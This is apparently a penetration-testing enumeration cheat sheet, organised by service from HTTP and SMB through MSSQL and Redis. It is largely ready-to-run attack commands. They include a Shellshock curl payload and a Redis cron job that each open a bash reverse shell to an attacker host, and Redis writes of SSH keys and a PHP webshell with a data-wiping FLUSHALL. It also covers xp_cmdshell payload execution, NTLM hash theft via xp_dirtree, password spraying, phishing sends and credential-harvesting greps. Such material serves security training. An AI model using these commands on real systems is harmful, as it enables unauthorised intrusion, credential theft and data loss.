Enumeration Deep Reference


General Principles

  • Add hostnames to /etc/hosts whenever you find them (page source, SSL certs, error pages, HTTP headers):
    echo "$ip  hostname.domain.local" | sudo tee -a /etc/hosts
    
  • searchsploit EVERY version you find — search broadly first, then narrow (e.g., Apache 2.4 before Apache 2.4.49)

HTTP/HTTPS (80, 443, 8080+)

Automated Recon (run in parallel)

# Technology identification
whatweb http://$ip
# Also use Wappalyzer browser extension

# Nikto (quick vuln scan)
nikto -h http://$ip -o nikto.txt

# Directory brute force — two wordlists for coverage
feroxbuster -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,asp,aspx,jsp,bak -C 404 -t 50
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50

# Virtual host / subdomain discovery (if domain known)
ffuf -u http://$ip/ -H "Host: FUZZ.<domain>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>
gobuster vhost -u http://$ip -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

Manual Checks

  • Visit every page in browser, click everything
  • View page source on EVERY page — comments, hidden fields, JS files, version numbers
  • Check: robots.txt, sitemap.xml, .git/HEAD, web.config, .env, phpinfo.php
  • Check SSL certificate (HTTPS) — reveals hostnames, email addresses
  • Check for cgi-bin → if found, fuzz for .sh, .pl, .cgi files (Shellshock!):
    gobuster dir -u http://$ip/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,pl,cgi
    # Shellshock test:
    curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" http://$ip/cgi-bin/script.sh
    
  • Fuzz API endpoints if you suspect an API:
    gobuster dir -u http://$ip/api -w /usr/share/wordlists/dirb/big.txt
    ffuf -u http://$ip/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt
    

Burp Suite Workflow

Use Burp Community (Proxy → Intercept) for:

  • Intercepting and modifying requests (change parameters, methods, headers)
  • Viewing full request/response pairs
  • Repeater: replay and tweak requests quickly
  • Decoder: encode/decode payloads
  • Manually testing SQLi, SSTI, command injection in parameters

WordPress Admin → RCE

If you get WP admin creds:

  1. Appearance → Theme Editor → 404.php
  2. Replace contents with PHP reverse shell
  3. Trigger: http://$ip/wp-content/themes/<theme-name>/404.php

SMB (139, 445)

# Unauthenticated
enum4linux-ng -A $ip
smbclient -L //$ip -N
smbmap -H $ip
netexec smb $ip -u '' -p '' --shares
nmap --script smb-vuln* -p 445 $ip

# Authenticated
netexec smb $ip -u 'user' -p 'pass' --shares --users
smbmap -H $ip -u 'user' -p 'pass'
smbclient //$ip/share -U 'DOMAIN/user%pass'

Download Everything from a Share

smbclient //$ip/share -U 'user%pass' -c 'recurse;prompt;mget *'
# Or interactive:
smbclient //$ip/share -U 'user%pass'
mask ""
recurse ON
prompt OFF
mget *

Then grep downloaded files: grep -ri 'password\|credential\|secret' .

Searching ANY Large Data Dump (SMB loot, web roots, git repos)

# Step 1: See the STRUCTURE
tree dumped_data/ -L 2
# or: find dumped_data/ -type d | head -20

# Step 2: Find INTERESTING FILENAMES
find dumped_data/ -iname '*.config' -o -iname '*.bak' -o -iname '*.env' -o -iname '*.old' -o -iname '*.sql' -o -iname '*.log' -o -iname '.git' 2>/dev/null

# Step 3: Search file CONTENTS with noise filtering
grep -ri 'connectionstring\|password=\|pwd=\|user id=' dumped_data/ 2>/dev/null | grep -vi 'jquery\|\.js:\|deps.json\|nupkg\|\.dll'

# Step 4: Read what you found
cat dumped_data/path/to/interesting.config

Common mistakes:

  • grep without -r = wont search directories recursively
  • grep -ri password without noise filter = jQuery floods output
  • Searching entire C: with dir /s = too slow. Check web roots first

Fast Data Extraction (DON’T waste hours reading files manually)

Step 1 — See what’s there BEFORE downloading (seconds):

# Recursive directory listing — see all files without downloading
smbmap -H $ip -u 'user' -p 'pass' -R
# Or with nxc:
nxc smb $ip -u 'user' -p 'pass' --shares

Step 2 — Spider for keywords WITHOUT downloading (fastest):

# nxc spider_plus — crawls all shares and dumps file listing to JSON
nxc smb $ip -u 'user' -p 'pass' -M spider_plus
# Output goes to /tmp/nxc_spider_plus/ — review the JSON for interesting filenames
cat /tmp/nxc_spider_plus/*.json | python3 -m json.tool | grep -i "password\|credential\|config\|backup\|secret\|key\|id_rsa\|\.kdbx\|\.conf\|\.ini\|\.log"

Step 3 — Mount the share locally (best for large data):

# Mount as a local directory — then use normal Linux tools (find, grep, etc.)
mkdir /tmp/smb_share
sudo mount -t cifs //$ip/share /tmp/smb_share -o username=user,password=pass
# Now search with full Linux power:
grep -ri 'password\|credential\|secret\|hash\|ntlm' /tmp/smb_share/ 2>/dev/null
find /tmp/smb_share/ -name "*.txt" -o -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.log" -o -name "*.bak" -o -name "*.kdbx" -o -name "id_rsa" 2>/dev/null
# Unmount when done:
sudo umount /tmp/smb_share

Step 4 — If mount fails, bulk download + grep:

# Download everything
smbclient //$ip/share -U 'user%pass' -c 'recurse;prompt;mget *'
# Then search locally:
grep -ri 'password\|credential\|secret\|hash\|ntlm\|connectionstring' . 2>/dev/null
find . -name "*.txt" -o -name "*.conf" -o -name "*.log" -o -name "*.bak" -o -name "*.kdbx" | xargs grep -li 'password\|secret\|hash' 2>/dev/null

Works for ANY large data dump (SMB, FTP, web scrape, git repo, anything):

# After downloading a bunch of files from any source:

# 1. INTERESTING FILENAMES — find files worth opening
find . -iname "*password*" -o -iname "*credential*" -o -iname "*secret*" -o -iname "*backup*" -o -iname "*dump*" 2>/dev/null
find . -iname "*.kdbx" -o -iname "*.key" -o -iname "*.pem" -o -iname "*.ppk" -o -iname "id_rsa" -o -iname "id_ed25519" 2>/dev/null
find . -iname "*.sql" -o -iname "*.db" -o -iname "*.sqlite" -o -iname "*.mdb" 2>/dev/null
find . -iname "*.bak" -o -iname "*.old" -o -iname "*.orig" -o -iname "*.save" -o -iname "*.swp" 2>/dev/null
find . -iname "*.zip" -o -iname "*.tar.gz" -o -iname "*.7z" -o -iname "*.rar" 2>/dev/null

# 2. WEB APP CONFIGS — hardcoded creds, DB connection strings, API keys
find . -iname "web.config" -o -iname "wp-config.php" -o -iname "config.php" -o -iname ".env" -o -iname "appsettings.json" -o -iname "database.yml" -o -iname ".htpasswd" -o -iname "connections.xml" 2>/dev/null

# 3. LOG FILES — often contain cleartext passwords, hashes, or usernames
find . -iname "*.log" 2>/dev/null
# Read logs that look interesting:
# grep -i 'password\|fail\|login\|auth\|ntlm\|hash\|credential' interesting.log

# 4. SEARCH FILE CONTENTS — the master grep
grep -ri 'password\|credential\|secret\|hash\|ntlm\|connectionstring\|pwd=\|pass=\|api_key\|apikey\|token\|mysql_connect\|db_password\|jdbc:' . 2>/dev/null | grep -v Binary | head -50

# 5. GIT REPOS — old commits often contain removed passwords
find . -name ".git" -type d 2>/dev/null
# If found:
# cd /path/to/repo && git log --oneline && git log -p | grep -i 'password\|secret\|key\|token'

# 6. SOURCE CODE with hardcoded creds
find . -iname "*.php" -o -iname "*.py" -o -iname "*.js" -o -iname "*.aspx" -o -iname "*.jsp" -o -iname "*.conf" -o -iname "*.ini" -o -iname "*.xml" 2>/dev/null | xargs grep -li 'password\|passwd\|pwd\|secret\|conn.*string' 2>/dev/null

# 7. RECENTLY MODIFIED files (more likely to be relevant)
find . -type f -mtime -90 -ls 2>/dev/null | head -30

# 8. HIDDEN FILES — dotfiles that admins hide
find . -name ".*" -type f 2>/dev/null

# 9. ARCHIVES — extract and search inside them
# unzip backup.zip -d backup_extracted/
# tar xzf backup.tar.gz -C backup_extracted/
# Then run the same searches inside the extracted folder

Quick one-liner to find EVERYTHING interesting (copy-paste this first):

find . \( -iname "*.log" -o -iname "*.bak" -o -iname "*.sql" -o -iname "*.conf" -o -iname "*.config" -o -iname "*.ini" -o -iname "*.env" -o -iname "*.kdbx" -o -iname "*.key" -o -iname "id_rsa" -o -iname "*.old" -o -iname "*password*" -o -iname "*backup*" -o -iname "*.db" -o -iname ".htpasswd" -o -iname "wp-config*" -o -iname "web.config" \) 2>/dev/null

→ Rule: Run the one-liner FIRST on every data dump. Read the interesting files. THEN dig deeper if needed.

Web App Config Files — WHERE ARE THE CREDS? (run on every SMB dump / web root)

When you dump SMB shares or access a web root, find the config file with the DB connection string first. Every web app stores DB creds in a config file.

# 1. FIND the config file — #1 priority
find . -iname "web.config" -o -iname "wp-config.php" -o -iname "config.php" -o -iname ".env" -o -iname "appsettings.json" -o -iname "database.yml" -o -iname "settings.py" 2>/dev/null

# 2. GREP for connection strings (filter out framework noise)
grep -ri "connectionstring\|password=\|pwd=\|user id=\|data source=\|db_password\|mysql_connect" . 2>/dev/null | grep -v Binary | grep -vi "jquery\|\.js:\|\.css:\|deps.json\|nupkg\|\.dll\|node_modules"

Config file locations by platform:

PlatformConfig FileWhat is Inside
DNN/DotNetNukeweb.config (wwwroot)connectionStrings with SQL user/pass
WordPresswp-config.phpDB_USER, DB_PASSWORD, DB_HOST
ASP.NETweb.config or appsettings.jsonconnectionStrings section
PHP (Laravel).envDB_PASSWORD, APP_KEY, MAIL_PASSWORD
PHP (generic)config.php, db.phpdb_pass, mysqli_connect()
Umbracoweb.config (IIS)connectionStrings + Umbraco keys
XAMPPphpMyAdmin/config.inc.phpMySQL root password

Once you find DB creds -> connect and dump users:

# MSSQL
impacket-mssqlclient "dbuser:dbpassword"@TARGET -port PORT
# Then: SELECT Username, Password FROM Users;

# MySQL
mysql -h TARGET -u dbuser -p"dbpassword"
# Then: SELECT user, password FROM mysql.user;

When grepping SMB dumps, FILTER OUT NOISE:

# BAD (thousands of false positives from jQuery, framework files)
grep -ri "password" . 2>/dev/null

# GOOD (targets config patterns, excludes noise)
grep -ri "password=\|pwd=\|connectionstring\|user id=" . 2>/dev/null | grep -vi "jquery\|\.js:\|\.css:\|deps.json\|nupkg"

SNMP (161 UDP)

# Community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt $ip

# Enumerate with found community string
snmpcheck -t $ip -c public
snmpwalk -c public -v2c $ip

Windows-Specific SNMP OIDs (memorize these)

snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25       # Usernames
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.4.2.1.2      # Running processes
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.6.3.1.2      # Installed software
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.6.13.1.3        # Open TCP ports

DNS (53)

# Zone transfer (try both)
dig AXFR @$ip <domain>
host -l <domain> $ip

# Subdomain enumeration
dnsrecon -d <domain> -t std
dnsrecon -d <domain> -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt
dnsenum <domain>

# Reverse lookups (find hostnames on subnet)
for i in $(seq 1 254); do host 10.10.10.$i $ip; done | grep -v "not found"
nslookup $ip $ip

LDAP (389, 636)

# Anonymous bind
ldapsearch -x -H ldap://$ip -s base namingcontexts
ldapsearch -x -H ldap://$ip -b "DC=domain,DC=com"

# Authenticated
ldapsearch -x -H ldap://$ip -D 'DOMAIN\user' -w 'password' -b "DC=domain,DC=com"

# windapsearch (faster for AD)
python3 windapsearch.py --dc-ip $ip -u 'user' -p 'pass' --da --privileged-users

FTP (21)

ftp $ip                # try anonymous:anonymous
# Inside FTP:
ls -la
binary                 # switch to binary mode for non-text files
get <file>
put <file>             # test upload — if FTP root = web root, upload webshell

If FTP root overlaps with web root → upload PHP/ASP webshell → trigger via browser.


SMTP (25)

Enumeration

# Banner grab — reveals software, version, hostname, sometimes domain name
nc -nv $ip 25
nmap -p 25 --script smtp-commands,smtp-enum-users,smtp-ntlm-info $ip

User Enumeration (3 methods — try all, servers block different ones)

# Method 1: VRFY (most common, often works)
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $ip

# Method 2: EXPN (expand mailing lists — sometimes reveals users when VRFY blocked)
smtp-user-enum -M EXPN -U /usr/share/seclists/Usernames/Names/names.txt -t $ip

smtp-user-enum -M RCPT -U /usr/share/seclists/Usernames/Names/names.txt -t $ip -D domain.com

Manual VRFY (when tools fail or for quick checks)

nc -nv $ip 25
# EHLO attacker.com
# VRFY admin
# VRFY root
# VRFY john
# 252 = user exists, 550 = doesn't exist

What to do with found usernames

# 1. Feed into password spraying
nxc smb $ip -u smtp_users.txt -p passwords.txt --continue-on-success
nxc winrm $ip -u smtp_users.txt -p passwords.txt --continue-on-success

# 2. Feed into kerbrute (if AD environment)
kerbrute userenum --dc DC_IP -d domain.com smtp_users.txt

# 3. Feed into AS-REP roasting
impacket-GetNPUsers 'domain.com/' -usersfile smtp_users.txt -dc-ip DC_IP -no-pass

# 4. Client-side attack — send phishing email with payload

Send email (for client-side attacks / phishing in AD)

# swaks — the Swiss Army Knife for SMTP
swaks -t [email protected] --from [email protected] --attach @payload.ext --server $ip --body @body.txt --header "Subject: Important" --suppress-data -ap

# Simple send via nc (if swaks not available)
nc -nv $ip 25
# EHLO attacker.com
# MAIL FROM:<[email protected]>
# RCPT TO:<[email protected]>
# DATA
# Subject: Important
# <message body>
# .
# QUIT

Email Address Enumeration with swaks

When VRFY and RCPT TO return nothing via smtp-user-enum, use swaks directly:

# Test a single address
sudo swaks -t [email protected] --from [email protected] --server $ip --body "test" --header "Subject: test"

# Reading the output:
# MAIL FROM -> 250 OK     = sender accepted (always works, ignore it)
# RCPT TO  -> 250 OK      = recipient EXISTS
# RCPT TO  -> 550 Unknown  = recipient DOES NOT EXIST

# Loop through usernames
for user in name1 name2 name3; do
  echo -n "$user@domain.com: "
  sudo swaks -t "$user@domain.com" --from [email protected] --server $ip --body "test" --header "Subject: test" 2>&1 | grep -oP '(250 OK|550 Unknown)'
done

SMTP Authentication

If ALL addresses return 550, the server may require authentication:

# With auth creds (found from git repos, config files, databases)
sudo swaks -t [email protected] --from [email protected] --server $ip --body @body.txt --header "Subject: Important" -ap -au username -ap password

NFS (2049)

showmount -e $ip
mkdir /tmp/nfs && mount -t nfs $ip:/share /tmp/nfs
ls -la /tmp/nfs

MSSQL (1433)

Connection — try BOTH auth types

# Windows auth (domain/local Windows accounts) — TRY THIS FIRST
impacket-mssqlclient 'user:pass'@$ip -windows-auth

# SQL auth (SQL Server accounts) — try if -windows-auth fails
impacket-mssqlclient 'user:pass'@$ip

# ⚠️ If password has $ in it, use single quotes to prevent bash expansion
impacket-mssqlclient 'user:P@ssw0rd$123'@$ip -windows-auth

Once Connected — Full Enumeration Workflow

-- 0. Current context
SELECT SYSTEM_USER;
SELECT ORIGINAL_LOGIN();
SELECT USER_NAME();
SELECT DB_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');

1. Quick Impacket Helpers

enum_db enum_logins enum_users enum_owner enum_impersonate enum_links

If enum_impersonate shows a login, impersonate it:

exec_as_login LOGIN_NAME

Manual impersonation:

EXECUTE AS LOGIN = 'LOGIN_NAME';
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT DB_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');

Return to original login:

REVERT;

2. List Databases

SELECT name FROM master.sys.databases;

Check what DB you can access:

SELECT name, HAS_DBACCESS(name) AS has_access FROM master.sys.databases;

Switch database:

USE dbname;
SELECT DB_NAME();

3. List Tables

Inside current database:

SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';

From another database without switching:

SELECT TABLE_SCHEMA, TABLE_NAME FROM dbname.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';

Important format:

database.schema.table

4. List Columns

Inside current database:

SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS ORDER BY TABLE_NAME, ORDINAL_POSITION;

Find interesting columns:

SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%pass%'    OR COLUMN_NAME LIKE '%user%'    OR COLUMN_NAME LIKE '%hash%'    OR COLUMN_NAME LIKE '%email%'    OR COLUMN_NAME LIKE '%login%'    OR COLUMN_NAME LIKE '%key%'    OR COLUMN_NAME LIKE '%token%' ORDER BY TABLE_NAME;

From another database:

SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM dbname.INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%pass%'    OR COLUMN_NAME LIKE '%user%'    OR COLUMN_NAME LIKE '%hash%'    OR COLUMN_NAME LIKE '%email%'    OR COLUMN_NAME LIKE '%login%'    OR COLUMN_NAME LIKE '%key%'    OR COLUMN_NAME LIKE '%token%' ORDER BY TABLE_NAME;

5. Dump Interesting Table

Basic:

SELECT * FROM dbo.TableName;

Top rows:

SELECT TOP 20 * FROM dbo.TableName;

Full path:

SELECT * FROM dbname.dbo.TableName;

6. Impersonation Path

Find who can be impersonated:

SELECT DISTINCT b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

Alternative:

SELECT pe.permission_name, pe.state_desc, pr.name AS principal FROM sys.server_permissions pe JOIN sys.server_principals pr ON pe.grantor_principal_id = pr.principal_id WHERE pe.permission_name = 'IMPERSONATE';

Impersonate:

EXECUTE AS LOGIN = 'LOGIN_NAME';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

If sysadmin = 1:

enable_xp_cmdshell EXEC xp_cmdshell 'whoami';

If sysadmin = 0:

SELECT name, HAS_DBACCESS(name) AS has_access FROM master.sys.databases;

Then enumerate readable DBs.


7. xp_cmdshell

Impacket shortcut:

enable_xp_cmdshell xp_cmdshell whoami

Manual SQL:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

If xp_cmdshell ‘whoami’ gives syntax error, use:

EXEC xp_cmdshell 'whoami';

Reverse shell:

EXEC xp_cmdshell 'powershell -exec bypass -enc BASE64_PAYLOAD';

8. Common Mistakes

  • Forgetting RECONFIGURE after sp_configure — the setting silently doesn’t apply
  • Running xp_cmdshell before confirming IS_SRVROLEMEMBER('sysadmin') = 1 — wasted time when you aren’t sysadmin
  • Forgetting REVERT; after EXECUTE AS LOGIN — you stay impersonated and later checks read the wrong context
  • A -- comment kills the rest of its line — keep comments on their own line, not glued to a SELECT

9. Fast Decision Flow

Connected to MSSQL
  ↓ Check sysadmin
  ↓ If sysadmin = 1 → xp_cmdshell
  ↓ If sysadmin = 0 → enum_impersonate
  ↓ If can impersonate → EXECUTE AS LOGIN
  ↓ Check sysadmin again
  ↓ If still not sysadmin → list DB access
  ↓ Find readable DB
  ↓ List tables
  ↓ List interesting columns
  ↓ Dump creds
  ↓ Spray creds against SMB/WinRM/RDP/MSSQL

Not sysadmin? You cant run xp_cmdshell, but you CAN dump user tables for credentials. Those creds spray to other machines.

Legacy Enumeration (quick checks)

SELECT @@version;
SELECT name FROM master.dbo.sysdatabases;
SELECT * FROM master..syslogins;

Command Execution (xp_cmdshell)

-- Enable xp_cmdshell (needs sysadmin role)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Steal NTLMv2 Hash (if xp_cmdshell denied)

# Terminal 1: Start Responder
sudo responder -I tun0

# Terminal 2: In MSSQL client force auth to your IP
EXEC xp_dirtree '\\YOUR_IP\\share', 1, 1;
# Or:
EXEC master..xp_subdirs '\\YOUR_IP\\share';

Responder catches the MSSQL service account NTLMv2 hash → crack with hashcat -m 5600


Redis (6379) — Often No Auth = Free Shell

Redis with no authentication is a gift. Check it on every engagement.

# Test connection (no auth needed if misconfigured)
redis-cli -h $ip
> INFO                          # server info — check OS, version
> CONFIG GET dir                # current working directory
> CONFIG GET dbfilename         # current dump file name

Method 1 — Write SSH Key (Linux target, preferred)

# Generate key pair
ssh-keygen -t rsa -f ./redis_key -N ""

# Pad key with newlines (CRITICAL — Redis RDB format adds junk bytes before/after your data)
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt

# Write key into Redis and dump to authorized_keys
# ⚠️ FLUSHALL wipes ALL Redis data — fine on exam, dangerous in real engagements
redis-cli -h $ip flushall
cat spaced_key.txt | redis-cli -h $ip -x set crackit
redis-cli -h $ip CONFIG SET dir /root/.ssh/
redis-cli -h $ip CONFIG SET dbfilename "authorized_keys"
redis-cli -h $ip save

# Connect
ssh -i redis_key root@$ip

Method 2 — Write Cron Job (if .ssh dir doesn’t exist)

redis-cli -h $ip
> SET rev "\n\n*/1 * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n\n"
> CONFIG SET dir /var/spool/cron/crontabs/
> CONFIG SET dbfilename root
> SAVE

Wait up to 1 minute for cron to fire. Catch with nc -lvnp 4444.

Method 3 — Write Webshell (if web server is running)

redis-cli -h $ip
> CONFIG SET dir /var/www/html/
> SET shell "<?php system($_GET['cmd']); ?>"
> CONFIG SET dbfilename shell.php
> SAVE

Browse to: http://$ip/shell.php?cmd=id

If CONFIG SET is disabled: Redis 4.x+ may have MODULE LOAD — search for Redis Rogue Server exploit on GitHub.


RDP (3389)

xfreerdp /u:user /p:'pass' /v:$ip /cert:ignore +clipboard
xfreerdp /d:domain.com /u:user /p:'pass' /v:$ip /cert:ignore +clipboard

Port Scanning from Inside a Network (No Tools)

When you’ve pivoted and don’t have nmap:

# Bash (Linux)
for i in $(seq 1 254); do (ping -c 1 -W 1 10.10.10.$i | grep "bytes from" &); done
for port in 21 22 80 135 139 445 3389 5985; do (echo >/dev/tcp/10.10.10.5/$port) 2>/dev/null && echo "$port open"; done
# PowerShell (Windows)
1..254 | % {Test-Connection "10.10.10.$_" -Count 1 -Quiet -TimeoutSeconds 1}
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.5", $_)) "TCP port $_ is open"} 2>$null
Test-NetConnection -Port 445 10.10.10.5

Large SMB Share Enumeration Discipline

When nxc –shares shows READ access on non-default shares (apps, monitoring, scripts, backup, data), do NOT mget everything blindly. Follow this order:

Step 1: List recursively WITHOUT downloading

smbclient //IP/sharename -U ‘DOMAIN\user%pass’ -c ‘recurse ON; ls’

Step 2: Identify high-signal files

Priority file types:

  • .ps1 .psm1 — PowerShell scripts
  • PowerShell_transcript.*.txt — transcripts with cleartext passwords
  • .kdbx — KeePass databases
  • .config .xml — connection strings, credentials
  • .log .txt — may contain command history
  • .ini .properties — config
  • .bat .cmd .sh — scripts with embedded creds
  • .ps1xml — PowerShell module definitions

Low-signal: .exe .dll .jpg .png .msi (unless you need a binary to reverse)

Step 3: Targeted download

smbclient //IP/share -U ‘user%pass’ -c ‘recurse ON; prompt OFF; mask *.ps1; mget *; mask *.txt; mget *’

Step 4: Content search with smbmap (no download)

smbmap -H IP -u user -p pass -d domain -R sharename -A ‘password|secure|credential|transcript’

smbmap flags:

  • -A PATTERN : content search (grep inside files)
  • -F PATTERN : filename pattern
  • -R PATH : recursive from path
  • –search-path PATH : where to start
  • –download PATH : download specific file

Common syntax gotcha: –search is ambiguous (matches –search-path and –search-timeout), use -A or -F.

Step 5: Grep downloaded content

grep -ri password . grep -riE ‘password|secret|credential|api[_-]?key|token|ConvertTo-SecureString|PSCredential’

A low-privileged user had READ on a share containing PowerShell transcript files; a Domain Administrator cleartext password sat in one. Always grep transcripts for ConvertTo-SecureString / PSCredential:

Took 30 seconds with the right grep. Would have taken hours dumping apps first.

Rule: list before download. Filter by filetype. Grep ConvertTo-SecureString and PSCredential first.